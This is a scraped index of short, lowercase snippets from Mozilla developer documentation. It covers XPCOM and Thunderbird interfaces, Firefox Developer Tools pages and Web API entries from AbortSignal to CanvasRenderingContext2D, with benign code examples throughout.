inherits from: nsisupports last changed in gecko 1.7 method overview nsix509cert pickbyusage(in nsiinterfacerequestor ctx, in wstring selectednickname, in long certusage, in boolean allowinvalid, in boolean allowduplicatenicknames, out boolean canceled); methods pickbyusage() nsix509cert pickbyusage( in nsiinterfacerequestor ctx, in wstring selectednickname, in long certusage, in boolean allowinvalid, in boolean allowduplicatenicknames, out boolean canceled ); parameters ctx selectednickname certusage allowinvalid allowduplicatenicknames canceled return value ...
nsIUserInfo
inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/userinfo;1.
nsIWeakReference
inherits from: nsisupports last changed in gecko 0.9.9 an instance of nsiweakreference is a proxy object that cooperates with its referent to give clients a non-owning, non-dangling reference.
nsIWinAccessNode
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview voidptr querynativeinterface([const] in mscomiidref aiid); methods querynativeinterface() voidptr querynativeinterface( [const] in mscomiidref aiid ); parameters aiid return value ...
nsIWinAppHelper
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) implemented by: @mozilla.org/xre/app-info;1.
nsIWorkerGlobalScope
1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) attributes attribute type description location nsiworkerlocation read only.
nsIWorkerMessageEvent
1.0 66 introduced gecko 1.9.1 inherits from: nsidomevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void initmessageevent(in domstring atypearg, in boolean acanbubblearg, in boolean acancelablearg, in domstring adataarg, in domstring aoriginarg, in nsisupports asourcearg); attributes attribute type description data domstring the event's data.
nsIWritablePropertyBag
1.0 66 introduced gecko 1.8 inherits from: nsipropertybag last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void deleteproperty(in astring name); void setproperty(in astring name, in nsivariant value); methods deleteproperty() delete a property with the given name.
nsIWritablePropertyBag2
1.0 66 introduced gecko 1.8 inherits from: nsipropertybag2 last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void setpropertyasacstring(in astring prop, in acstring value); void setpropertyasastring(in astring prop, in astring value); void setpropertyasautf8string(in astring prop, in autf8string value); void setpropertyasbool(in astring prop, in boolean value); void setpropertyasdouble(in astring prop, in double value); void setpropertyasint32(in astring prop, in print32 value); void setpropertyasint64(in astring prop, in print64 value)...
nsIXFormsNSInstanceElement
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) interface code [scriptable, uuid(80669b92-8331-4f92-aaf8-06e80e6827b3)] interface nsixformsnsinstanceelement : nsisupports { nsidomdocument getinstancedocument(); }; methods getinstancedocument nsidomdocument getinstancedocument(); getinstancedocument returns a dom document that corresponds to the instance data associated with the instance element.
nsIXFormsNSModelElement
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) interface code [scriptable, uuid(85fd60c7-1db7-40c0-ae8d-f723fdd1eea8)] interface nsixformsnsmodelelement : nsisupports { nsidomnodelist getinstancedocuments(); }; methods getinstancedocuments nsidomnodelist getinstancedocuments(); getinstancedocuments returns a nsidomnodelist containing all the instance documents for the model, making it possible to enumerate over instances in the model without knowing their names.
nsIXMLHttpRequestUpload
1.0 66 introduced gecko 1.9.1 inherits from: nsidomeventtarget last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) attributes attribute type description onabort nsidomeventlistener onerror nsidomeventlistener onload nsidomeventlistener onloadstart nsidomeventlistener onprogress nsidomeventlistener see also nsixmlhttprequest nsixmlhttprequesteventtarget xmlhttprequest using xmlhttprequest ...
nsIXSLTException
inherits from: nsiexception last changed in gecko 1.7 attributes attribute type description sourcenode nsidomnode the context node, may be null.
nsIXSLTProcessor
content/xslt/public/nsixsltprocessor.idlscriptable xslt processor inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/document-transformer;1?type=xslt.
nsIXmlRpcFault
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void init(in print32 faultcode, in string faultsring); string tostring(); attributes attribute type description faultcode print32 read only.
nsMsgFilterFileAttribValue
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfilterlist.idl const nsmsgfilterfileattribvalue attribnone = 0; const nsmsgfilterfileattribvalue attribversion = 1; const nsmsgfilterfileattribvalue attriblogging = 2; const nsmsgfilterfileattribvalue attribname = 3; const nsmsgfilterfileattribvalue attribenabled = 4; const nsmsgfilterfileattribvalue attribdescription = 5; const nsmsgfilterfileattribvalue attribtype = 6; const nsmsgfilterfileattribvalue attribscriptfile = 7; const nsmsgfilterfileattribvalue attribaction = 8; const nsmsgfilterfileattribvalue attribactionvalue = 9; const nsmsgfilterfileattribvalue attribcondition = 10; const nsmsgfilterfileattribvalue attribcustomid = 11; ...
NS_ASSERTION
only if the assertion evaluates to false is there an "assertion failure", which is thrown.
NS_ERROR
this macro is meant for critical errors; like assertions, ns_errors should not be reachable.
NS_CStringCloneData
#include "nsstringapi.h" char* ns_cstringclonedata( const nsacstring& astring ); parameters astring [in] a nsacstring instance whose data is to be cloned.
NS_CStringCopy
the implementation may employ reference counting techniques to optimize this operation.
NS_CStringCutData
example code nscstringcontainer str; ns_cstringcontainerinit(str); ns_cstringsetdata(str, "hello world"); // remove " world" portion of string ns_cstringcutdata(str, 5, pr_uint32_max); const char* data; ns_cstringgetdata(str, &data); printf("%s\n", data); // prints out "hello" ns_cstringcontainerfinish(str); history this function was frozen for mozilla 1.7.
NS_StringCloneData
#include "nsstringapi.h" prunichar* ns_stringclonedata( const nsastring& astring ); parameters astring [in] a nsastring instance whose data is to be cloned.
NS_StringCopy
the implementation may employ reference counting techniques to optimize this operation.
NS_UTF16ToCString
adestencoding [in] the character encoding of the destination string.
nsMsgViewSortOrder
last changed in gecko 1.9 (firefox 3) constants name value description none 0 ascending 1 descending 2 ...
nsMsgViewSortType
last changed in gecko 1.9 (firefox 3) constants name value description bynone 0x11 not sorted bydate 0x12 bysubject 0x13 byauthor 0x14 byid 0x15 bythread 0x16 bypriority 0x17 bystatus 0x18 bysize 0x19 byflagged 0x1a byunread 0x1b byrecipient 0x1c bylocation 0x1d bytags 0x1e byjunkstatus 0x1f byattachments 0x20 byaccount 0x21 bycustom 0x22 byreceived ...
nsMsgViewType
for example, to request the 'show all threads' view use the constant: components.interfaces.nsmsgviewtype.eshowallthreads constants name value description eshowallthreads 0 eshowthreadswithunread 2 eshowwatchedthreadswithunread 3 eshowquicksearchresults 4 eshowvirtualfolderresults 5 eshowsearch 6 ...
nsStaticModuleInfo
#include "nsxpcom.h" struct nsstaticmoduleinfo { const char* name; nsgetmoduleproc getmodule; }; members name this member provides the name of the module as a null-terminated, ascii-valued character array.
Using nsISimpleEnumerator
s.interfaces.nsipropertyelement); s += property.key + ' = ' + property.value + ';\n'; } alert(s); example using javascript 1.7 features // creates a generator iterating over enum's values function generatorfromsimpleenumerator(enum, interface) { while (enum.hasmoreelements()) { yield enum.getnext().queryinterface(interface); } } var b = document.getelementbyid("stringbundleset").firstchild var props = generatorfromenumerator(b.strings, components.interfaces.nsipropertyelement); var s = ""; for (let property in props) { s += property.key + ' = ' + property.value + ';\n'; } alert(s); links code based on using_nsipasswordmanager nsisimpleenumerator xul:property:strings ...
XPCOM category image-sniffing-services
however, such decoders relied on servers sending correct mime types; images sent with incorrect mime types would not be correctly displayed.
xpidl
MozillaTechXPIDLxpidl
please check the build documentation for further information on where to get libidl and glib.
XTF
MozillaTechXTF
extending gecko with xbl and xtf a presentation given at xtech 2005 comparing xbl and xtf, as well as discussing xtf basics.
Mailbox
this may seem like a lot of infrastructure just to read messages from a flat file, but it allows us to do it asynchronously, and to have reading local messages fit into the same kind of mechanisms that reading nntp and imap messages do - running urls, getting onstart/stoprunningurl notifications when the url starts/stops, etc.
Message Interfaces
it is a child of nsimsghdr (see above).
Activity Manager examples
in such cases, nsactivity.js can be used as a model.
Access Thunderbird Window Areas
var foldertree = getfoldertree(); var searchinput = getsearchinput(); var messagepane = getmessagepane(); var messagepaneframe = getmessagepaneframe(); var mailtoolbox = getmailtoolbox(); var currentmsgfolder = getloadedmsgfolder(); see the msgmail3panewindow.js for other helper methods ...
Access Window Area
enrich mdc by contributing.
Add New Tab
var aurl = "chrome://myext/mytab.xul"; let tabmail = getmail3pane().document.getelementbyid("tabmail"); tabmail.opentab("chrometab", { chromepage: aurl }); ...
Add Tab
enrich mdc by contributing.
Add Toolbar Button
example xul overlay file: <?xml version="1.0"?> <?xml-stylesheet href="chrome://demo/skin/overlay.css" type="text/css" ?> <overlay id="messengerwindow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/x-javascript" src="overlay.js" /> <toolbarpalette id="mailtoolbarpalette"> <toolbarbutton id="demo-button" class="demo-button toolbarbutton-1" label="demo" type="button" oncommand="demo.load();" /> </toolbarpalette> </overlay> add this to the css file you referenced in your xul file: #demo-button, [place="palette"] > #demo-button { list-style-image: url("chrome://demo/skin/icon.png") !important; } ...
Modify Message List
enrich mdc by contributing.
Styling the Folder Pane
specialfolder-smart -- indicates that the folder is a child of a unified folder (previously known as smart folder) in the smart folders view.
Using MAPI with Thunderbird's Windows 7 developer builds
(one way to create an elevated shell is to invoke the command prompt from the start menu, right click, and select run as administrator.) in the elevated shell, change to the objdir/mozilla/dist/bin directory and enter this command: regsvr32 mapiproxy_inuse.dll ...
Examples
standard os libraries some examples on how to get cursor position on each os.
FunctionType
argtypen zero or more ctype objects indicating the types of each of the parameters passed into the c function.
PointerType
ctype pointertype( type ); parameters type specifies the type to which the pointer type points.
Plug-in Side Plug-in API - Plugins
« previousnext » this chapter describes methods in the plug-in api that are available for the plug-in object.
The Web Developer Menu - Firefox Developer Tools
on os x and linux, it's under the "tools" menu: on windows 7, it's under the "firefox" menu: you'll see that the menu is split into three sections: the first section lists tools that are hosted in the toolbox, which is a dedicated window for developer tools the second section lists integrated tools that are not hosted in the toolbox, as well as any tools installed as add-ons (you'll see in the windows screenshot above that i've installed the firefox os simulator) the third section, "get more tools", is a link to more web development add-ons for firefox ...
Add-ons - Firefox Developer Tools
websocket monitor examine the data exchanged in a websocket connection.
Inspecting web app manifests - Firefox Developer Tools
it provides a link to the manifest file at the top which when clicked on brings up the json in a new tab.
Application - Firefox Developer Tools
if you can’t see it there, you can enable it by going to the "three dot" menu and selecting settings (also accessible by pressing f1), then checking the application checkbox under default developer tools.
Breaking on exceptions - Firefox Developer Tools
to instruct the debugger to pause on an exception, tick these checkboxes in the breakpoints list: pause on exceptions pause on caught exceptions when an exception occurs, the line where it occurs is highlighted in the source pane, with a squiggly red line under the problematic code.
How to - Firefox Developer Tools
access debugging in add-onsbreaking on exceptionsdebug eval sourcesdisable breakpointsexamine, modify, and watch variableshighlight and inspect dom nodesignore a sourceopen the debuggerpretty-print a minified filesearchset a breakpointset a conditional breakpointset watch expressionsstep through codeuse a source mapuse watchpoints ...
Using the Debugger map scopes feature - Firefox Developer Tools
and, since map has been checked in the scopes panel, you also see variable symbols from the original code.
Measure a portion of the page - Firefox Developer Tools
from the available toolbox buttons check the measure a portion of the page checkbox.
Memory - Firefox Developer Tools
it then provides a number of views of the heap that can show you which objects account for memory usage and exactly where in your code you are allocating memory.
Network monitor recording - Firefox Developer Tools
you can see it here in context: once pressed, the button changes to a play icon, and you can toggle network traffic recording back on by pressing it again.
Examine and edit the box model - Firefox Developer Tools
viewing the box model with the select element button pressed, if you hover over an element in the page, the box model for the element is shown overlaid on the page: it's also shown overlaid if you hover over an element's markup in the html pane: if the element is inline and is split over multiple line boxes, the highlighter shows each individual line box that together make up the element: the box model view when an element's selected, you can get a detailed look at the box model in the box model view: if you hover over a value, you'll see a tooltip telling you which rule the value comes from: if you hover over part of the box model in the box model view, the corresponding part of the page is highlighted: editing the box model you can also edit the values in the b...
Examine Event Listeners - Firefox Developer Tools
the inspector shows the word "event" next to elements in the html pane, that have event listeners bound to them: click the icon, then you'll see a popup listing all the event listeners bound to this element: each line contains: a right-pointing arrowhead; click to expand the row and show the listener function source code a curved arrow pointing to a stack; click it to show the code for the handler in the debugger the name of the event for which a handler was attached to this element the name and line number for the listener; you can also click here to expand the row and view the listener function source code a label indicating whether the event bubbles a label indicating the system that defines the event.
Open the Inspector - Firefox Developer Tools
there are two main ways to open the inspector: choose tools > web developer > inspector from the menu bar or the equivalent keyboard shortcut.
Reposition elements in the page - Firefox Developer Tools
the offsets are indicated by a line and a tooltip for each side.
Animation inspector (Firefox 41 and 42) - Firefox Developer Tools
the animation inspector enables you to: see information about all animations running in the page play/pause all animations play/pause/rewind/fast-forward each animation jump to a specific point in an animation highlight and inspect the animated node adjust the playback rate of each animation see whether an animation is running in the compositor thread (a lightning bolt icon is displayed next to such animations) ...
Animation inspector example: CSS transitions - Firefox Developer Tools
html content <div class="channel"> <img src="https://udn.realityripple.com/samples/e6/a96484b5c3.png" class="icon"/> <span class="note">firefox developer edition</span> </div> css content .channel { padding: 2em; margin: 0.5em; box-shadow: 1px 1px 5px #808080; margin: 1.5em; } .channel > * { vertical-align: middle; line-height: normal; } .icon { width: 50px; height: 50px; filter: grayscale(100%); transition: transform 750ms ease-in, filter 750ms ease-in-out; } .note { margin-left: 1em; font: 1.5em "open sans",arial,sans-serif; overflow: hidden; white-space: nowrap; display: inline-block; opacity: 0; width: 0; transition: opacity 500ms 150ms, width 500ms 150ms; } .icon#sel...
How to - Firefox Developer Tools
these links describe in depth the how to techniques.
Page Inspector - Firefox Developer Tools
you can examine pages loaded in the local copy of firefox or in a remote target such as firefox for android.
Remote Debugging - Firefox Developer Tools
the other browser might be on the same device as the tools themselves or on a different device, such as a phone connected over usb.
ANGLE_instanced_arrays.vertexAttribDivisorANGLE() - Web APIs
the angle_instanced_arrays.vertexattribdivisorangle() method of the webgl api modifies the rate at which generic vertex attributes advance when rendering multiple instances of primitives with ext.drawarraysinstancedangle() and ext.drawelementsinstancedangle().
AbortSignal.aborted - Web APIs
later on we check whether or not it the signal has been aborted using the aborted property, and send an appropriate log to the console.
AbsoluteOrientationSensor - Web APIs
the absoluteorientationsensor constructor creates a new absoluteorientationsensor object which describes the device's physical orientation in relation to the earth's reference coordinate system.
AbstractRange.endOffset - Web APIs
syntax var endoffset = range.endoffset; value an integer value indicating the number of characters into the node indicated by endcontainer at which the final character of the range is located.
AbstractRange.startContainer - Web APIs
syntax var startnode = range.startcontainer value the dom node inside which the start position of the range is found.
AbstractRange.startOffset - Web APIs
syntax var startoffset = range.startoffset value an integer value indicating the number of characters into the node indicated by startcontainer at which the first character of the range is located.
Accelerometer.Accelerometer() - Web APIs
the accelerometer constructor creates a new accelerometer object which returns the acceleration of the device along all three axes at the time it is read.
Accelerometer - Web APIs
the accelerometer interface of the sensor apis provides on each reading the acceleration applied to the device along all three axes.
AddressErrors.languageCode - Web APIs
this validation might be as simple as ensuring the text of the string is compliant with the syntax defined in bcp-47, or as detailed as actually verifying that the specified string matches a value from a database.
AddressErrors.organization - Web APIs
for example, if validation simply ensures that only permitted characters are included in the organization's name, this might return a string such as "the organization name may only contain the letters a-z, digits, spaces, and commas." if the organization value was validated successfully, this property is not included in the addresserrors object.
AesGcmParams - Web APIs
if additionaldata is given here then the same data must be given in the corresponding call to decrypt(): if the data given to the decrypt() call does not match the original data, the decryption will throw an exception.
AmbientLightSensor.AmbientLightSensor() - Web APIs
the ambinentlightsensor() constructor creates a new ambientlightsensor object, which returns the current light level or illuminance of the ambient light around the hosting device.
AnalyserNode.fftSize - Web APIs
for more complete applied examples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code).
AnalyserNode.getByteTimeDomainData() - Web APIs
for more complete applied examples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code).
AnalyserNode.getFloatTimeDomainData() - Web APIs
for more complete applied examples/information, check out our voice-change-o-matic-float-data demo (see the source code too).
AnalyserNode.maxDecibels - Web APIs
for more complete applied examples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code).
AnalyserNode.minDecibels - Web APIs
for more complete applied examples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code).
Animation.effect - Web APIs
WebAPIAnimationeffect
the target effect may be either an effect object of a type based on animationeffectreadonly, such as keyframeeffect, or null.
Animation.id - Web APIs
WebAPIAnimationid
syntax var animationsid = animation.id; animation.id = newidstring; value a domstring which can be used to identify the animation, or null if the animation has no id.
Animation.oncancel - Web APIs
the cancel event can be triggered manually with animation.cancel() when the animation enters the "idle" play state from another state, such as when the animation is removed from an element before it finishes playing creating a new animation that is initially idle does not trigger a cancel event on the new animation.
Animation.pause() - Web APIs
WebAPIAnimationpause
animations created with the element.animate() method immediately start playing and must be paused manually if you want to avoid that: // animation of the cupcake slowly getting eaten up var nommingcake = document.getelementbyid('eat-me_sprite').animate( [ { transform: 'translatey(0)' }, { transform: 'translatey(-80%)' } ], { fill: 'forwards', easing: 'steps(4, end)', duration: alicechange.effect.timing.duration / 2 }); // doesn't actually need to be eaten until a click event, so pause it initially: nommingcake.pause(); additionally, when resetting : // an all-purpose function to pause the animations on alice, the cupcake, and the bottle that reads "drink me." var stopplayingalice = function() { alicechange.pause(); nommingcake.pause(); drinking.pause(); }; // when t...
Animation.pending - Web APIs
WebAPIAnimationpending
the read-only animation.pending property of the web animations api indicates whether the animation is currently waiting for an asynchronous operation such as initiating playback or pausing a running animation.
AnimationEffect.getComputedTiming() - Web APIs
return value a computedeffecttiming dictionary object, which contains the following properties: endtime the end time of the animation in milliseconds from the animation's start (if the keyframeeffect is associated with an animation).
AnimationEffect - Web APIs
the animationeffect interface of the web animations api defines current and future animation effects like keyframeeffect, which can be passed to animation objects for playing, and keyframeeffectreadonly (which is used by css animations and transitions).
AnimationEvent() - Web APIs
for an "animationstart" event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the event will be fired with elapsedtime containing (-1 * delay).
AnimationEvent.elapsedTime - Web APIs
for an animationstart event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the event will be fired with elapsedtime containing (-1 * delay).
AnimationEvent.initAnimationEvent() - Web APIs
for an "animationstart" event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the event will be fired with elapsedtime containing (-1 * delay).
AnimationPlaybackEvent.currentTime - Web APIs
in firefox, you can also enabled privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
AnimationPlaybackEvent - Web APIs
as animations play, they report changes to their playstate through animation events.
AnimationTimeline.currentTime - Web APIs
in firefox, you can also enable privacy.resistfingerprinting; the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
Attr.localName - Web APIs
WebAPIAttrlocalName
in later versions, in compliance with html5, the property returns in the case of the internal dom storage, which is lower case for both html attributes in html doms and xhtml attributes in xml doms.
AudioBufferSourceNode.detune - Web APIs
example const audioctx = new audiocontext(); const channelcount = 2; const framecount = audioctx.samplerate * 2.0; // 2 seconds const myarraybuffer = audioctx.createbuffer(channelcount, framecount, audioctx.samplerate); for (let channel = 0; channel < channelcount; channel++) { const nowbuffering = myarraybuffer.getchanneldata(channel); for (let i = 0; i < framecount; i++) { nowbuffering[i] = math.random() * 2 - 1; } } const source = au...
AudioContext.outputLatency - Web APIs
this is the time, in seconds, between the browser passing an audio buffer out of an audio graph over to the host system's audio subsystem to play, and the time at which the first sample in the buffer is actually processed by the audio output device.
AudioContext.resume() - Web APIs
in each case, the text label of the button is updated as appropriate once the promise resolves.
AudioContext.suspend() - Web APIs
in each case, the text label of the button is updated as appropriate once the promise resolves.
AudioWorkletGlobalScope.registerProcessor - Web APIs
syntax audioworkletglobalscope.registerprocessor(name, processorctor); parameters name a string representing the name under which the processor will be registered.
BaseAudioContext.audioWorklet - Web APIs
the audioworklet read-only property of the baseaudiocontext interface returns an instance of audioworklet that can be used for adding audioworkletprocessor-derived classes which implement custom audio processing.
BaseAudioContext.createDelay() - Web APIs
the createdelay() method of the baseaudiocontext interface is used to create a delaynode, which is used to delay the incoming audio signal by a certain amount of time.
BaseAudioContext.createOscillator() - Web APIs
for applied examples/information, check out our violent theremin demo (see app.js for relevant code); also see our oscillatornode page for more information.
Using the Beacon API - Web APIs
the beacon interface schedules an asynchronous and non-blocking request to a web server.
BiquadFilterNode.Q - Web APIs
for a complete working example, check out our voice-change-o-matic demo (look at the source code too).
BiquadFilterNode.detune - Web APIs
for a complete working example, check out our voice-change-o-matic demo (look at the source code too).
BiquadFilterNode.frequency - Web APIs
for a complete working example, check out our voice-change-o-matic demo (look at the source code too).
BiquadFilterNode.gain - Web APIs
for a complete working example, check out our voice-change-o-matic demo (look at the source code too).
Blob.arrayBuffer() - Web APIs
WebAPIBlobarrayBuffer
this can happen, for example, if the reader used to fetch the blob's data throws an exception.
Blob.size - Web APIs
WebAPIBlobsize
syntax var sizeinbytes = blob.size value the number of bytes of data contained within the blob (or blob-based object, such as a file).
Blob.text() - Web APIs
WebAPIBlobtext
returns a promise that resolves with a usvstring which contains the blob's data as a text string.
BlobEvent - Web APIs
WebAPIBlobEvent
blobevent.timecode read only a domhighrestimestamp indicating the difference between the timestamp of the first chunk in data and the timestamp of the first chunk in the first blobevent produced by this recorder.
Bluetooth.getAvailability() - Web APIs
for a returns a boolean which is true if the deveice has a bluetooth adapter and false otherwise (unless user configured user agent not to expose a real value).
BluetoothAdvertisingData.appearance - Web APIs
the appearance read-only property of the bluetoothadvertisingdata interface returns one of the values defined by the org.bluetooth.characteristic.gap.appearance characteristic.
rssi - Web APIs
the rssi read-only property of the bluetoothadvertisingdata interface returns the power at which the device’s packets are being received, measured in dbm.
txPower - Web APIs
the txpower read-only property of the bluetoothadvertisingdata interface returns the transmission power at which the device is broadcasting, measured in dbm.
productID - Web APIs
the bluetoothdevice.productid read-only property returns the 16-bit product id field in the pnp_id characteristic in the device_information service.
productVersion - Web APIs
the bluetoothdevice.productversion read-only property returns the 16-bit product version field in the pnp_id characteristic in the device_information service.
vendorID - Web APIs
the bluetoothdevice.vendorid read-only property returns the 16-bit vendor id field in the pnp_id characteristic in the device_information service.
vendorIDSource - Web APIs
the bluetoothdevice.vendoridsource read-only property returns the vendor id source field in the pnp_id characteristic in the device_information service.
Body.formData() - Web APIs
WebAPIBodyformData
specifications specification status comment fetchthe definition of 'formdata()' in that specification.
BufferSource - Web APIs
buffersource is a typedef used to represent objects that are either themselves an arraybuffer, or which are a typedarray providing an arraybufferview.
ByteString - Web APIs
bytestring maps to a string when returned in javascript; generally, it's only used when interfacing with protocols that use bytes and strings interchangably, such as http.
CSS.escape() - Web APIs
WebAPICSSescape
examples basic results css.escape(".foo#bar") // "\.foo\#bar" css.escape("()[]{}") // "\(\)\[\]\{\}" css.escape('--a') // "--a" css.escape(0) // "\30 ", the unicode code point of '0' is 30 css.escape('\0') // "\ufffd", the unicode replacement character in context uses to escape a string for use as part of a selector, the escape() method can be used: var element = document.queryselector('#' + css.escape(id) + ' > img'); the escape() method can also be used for escaping strings, although it escapes characters that don't strictly need to be escaped: var element = document.queryselector('a[href="#' + css.escape(fragment) + '"]'); speci...
CSS - Web APIs
WebAPICSS
css.registerproperty() registers custom properties, allowing for property type checking, default values, and properties that do or do not inherit their value.
CSSGroupingRule - Web APIs
objects deriving from it : cssconditionrule and its children: cssmediarule, csssupportsrule, and cssdocumentrule.
CSSImageValue - Web APIs
the cssimagevalue object represents an <image> that involves an url, such as url() or image(), but not linear-gradient() or element() .
CSSKeyframesRule - Web APIs
if no such keyframe exists, findrule returns null.
CSSKeywordValue - Web APIs
#myelement { display: flex; } <div id="myelement">check the developer tools to see the log in the console and to inspect the style attribute on this div.</div> let myelement = document.getelementbyid('myelement').attributestylemap; myelement.set('display', new csskeywordvalue('initial')); console.log( myelement.get('display').value); // 'initial' specifications specification status comment css typed om level 1the ...
CSSMathProduct.CSSMathProduct() - Web APIs
the cssmathproduct() constructor creates a new cssmathproduct object which creates a new cssmathproduct object which syntax var cssmathproduct = new cssmathproduct() parameters arg a value for the cssmathproduct object to be constructed either a double integer or a cssnumericvalue.
CSSMathProduct.values - Web APIs
the cssmathproduct.values read-only property of the cssmathproduct interface returns a cssnumericarray object which contains one or more cssnumericvalue objects.
CSSMathProduct - Web APIs
properties cssmathproduct.values returns a cssnumericarray object which contains one or more cssnumericvalue objects.
CSSMathSum.CSSMathSum() - Web APIs
the cssmathsum() constructor creates a new cssmathsum object which creates a new csskeywordvalue object which represents the result obtained by calling add(), sub(), or tosum() on cssnumericvalue.
CSSMathSum.values - Web APIs
WebAPICSSMathSumvalues
the cssmathsum.values read-only property of the cssmathsum interface returns a cssnumericarray object which contains one or more cssnumericvalue objects.
CSSMathSum - Web APIs
properties cssmathsum.values returns a cssnumericarray object which contains one or more cssnumericvalue objects.
CSSMediaRule - Web APIs
working draft no changes from document object model (dom) level 2 style specification document object model (dom) level 2 style specificationthe definition of 'cssmediarule' in that specification.
CSSNamespaceRule.prefix - Web APIs
if there is no such prefix, returns null.
CSSNamespaceRule - Web APIs
if there is no such prefix, returns null.
CSSNumericValue.equals() - Web APIs
let cssmathsum = new cssmathsum(css.px(1), css.px(2)); let matchingcssmathsum = new cssmathsum(css.px(1), css.px(2)); // prints true console.log(cssmathsum.equals(matchingcssmathsum)); let othercssmathsum = cssmathsum(css.px(2), css.px(1)); // prints false console.log(cssmathsum.equals(othercssmathsum)); // also prints false console.log(css.cm("1").equal(css.in("0.393701"))); specifications specification status comment css typed om ...
CSSNumericValue.to() - Web APIs
syntax var cssunitvalue = cssnumericvalue.to(unit); parameters unit the unit to which you want to convert.
CSSPageRule - Web APIs
working draft no changes from document object model (dom) level 2 style specification document object model (dom) level 2 style specificationthe definition of 'csspagerule' in that specification.
CSSPositionValue.CSSPositionValue() - Web APIs
the csspositionvalue constructor creates a new csspositionvalue object which represents values for properties that take a position, for example object-position.
CSSPrimitiveValue.getCounterValue() - Web APIs
modification to the corresponding style property can be achieved using the counter interface.
CSSPrimitiveValue.getRectValue() - Web APIs
modification to the corresponding style property can be achieved using the rect interface.
CSSPrimitiveValue.primitiveType - Web APIs
css_in the value is a <length> in inches.
CSSPrimitiveValue.setStringValue() - Web APIs
if the property attached to this value can't accept the specified unit or the string value, the value will be unchanged and a domexception will be raised.
CSSPseudoElement.element - Web APIs
en csspseudoelement.element and element.pseudo(): const myelement = document.queryselector('q'); const csspseudoelement = myelement.pseudo('::after'); const originatingelement = csspseudoelement.element; console.log(myelement === originatingelement); // outputs true console.log(myelement.parentelement === originatingelement); // outputs false console.log(myelement.lastelementchild === csspseudoelement); // outputs false console.log(myelement.lastchild === csspseudoelement); // outputs false console.log(myelement.nextelementsibling === csspseudoelement); // outputs false console.log(myelement.nextsibling === csspseudoelement); // outputs false specifications specification status comment css pseudo-elements level 4the definitio...
CSSPseudoElement - Web APIs
eventtarget.dispatchevent() dispatches an event to this pseudo-element.
CSSRule.parentStyleSheet - Web APIs
the parentstylesheet property of the cssrule interface returns the stylesheet object in which the current rule is defined.
CSSStyleDeclaration.getPropertyValue() - Web APIs
syntax var value = style.getpropertyvalue(property); parameters property is a domstring representing the property name to be checked.
CSSStyleDeclaration.item() - Web APIs
syntax var propertyname = style.item(index); parameters index is the index of the node to be fetched.
CSSStyleDeclaration.parentRule - Web APIs
syntax var rule = styles.parentrule; value the css rule that contains this declaration block or null if this cssstyledeclaration is not attached to a cssrule.
CSSStyleRule.styleMap - Web APIs
the stylemap read-only property of the cssstylerule interface returns a stylepropertymap object which provides access to the rule's property-value pairs.
CSSStyleSheet.removeRule() - Web APIs
note: this is a legacy method which has been replaced by the standard method deleterule().
CSSStyleValue - Web APIs
cssstylevalue.parseall() sets all occurences of a specific css property to the specified valueand returns an array of cssstylevalue objects, each containing one of the supplied values.
CSSUnitValue.CSSUnitValue() - Web APIs
the cssunitvalue() constructor creates a new cssunitvalue object which returns a new cssunitvalue object which represents values that contain a single unit type.
CSSUnparsedValue.CSSUnparsedValue() - Web APIs
the cssunparsedvalue() constructor creates a new cssunparsedvalue object which represents property values that reference custom properties.
CSSUnparsedValue.entries() - Web APIs
the cssunparsedvalue.entries() method returns an array of a given object's own enumerable property [key, value] pairs in the same order as that provided by a for...in loop (the difference being that a for-in loop enumerates properties in the prototype chain as well).
CSSUnparsedValue.keys() - Web APIs
the cssunparsedvalue.keys() method returns a new array iterator object that contains the keys for each index in the array.
CSSUnparsedValue.values() - Web APIs
the cssunparsedvalue.values() method returns a new array iterator object that contains the values for each index in the cssunparsedvalue object.
CSS Counter Styles - Web APIs
the css counter styles module allows to define custom counter styles, which can be used for css list-marker and generated-content counters.
CSS Font Loading API - Web APIs
fontfaceset an interface loading font faces and checking their download statuses.
CSS Painting API - Web APIs
for example: aside { background-image: paint(mypaintedimage); } the api defines paintworklet, a worklet that can be used to programmatically generate an image that responds to computed style changes.
CSS Properties and Values API - Web APIs
the css properties and values api — part of the css houdini umbrella of apis — allows developers to explicitly define their css custom properties, allowing for property type checking, default values, and properties that do or do not inherit their value.
CanvasCaptureMediaStreamTrack.requestFrame() - Web APIs
this may change in the future, so it would be wise to plan ahead and watch for exceptions such as securityerror (although the specific error that might be thrown is not mentioned in the spec, this is a likely candidate).
CanvasImageSource - Web APIs
canvasimagesource provides a mechanism for other interfaces to be used as image sources for some methods of the canvasdrawimage and canvasfillstrokestyles interfaces.
CanvasRenderingContext2D.bezierCurveTo() - Web APIs
the starting point is the latest point in the current path, which can be changed using moveto() before creating the bézier curve.
CanvasRenderingContext2D.clearRect() - Web APIs
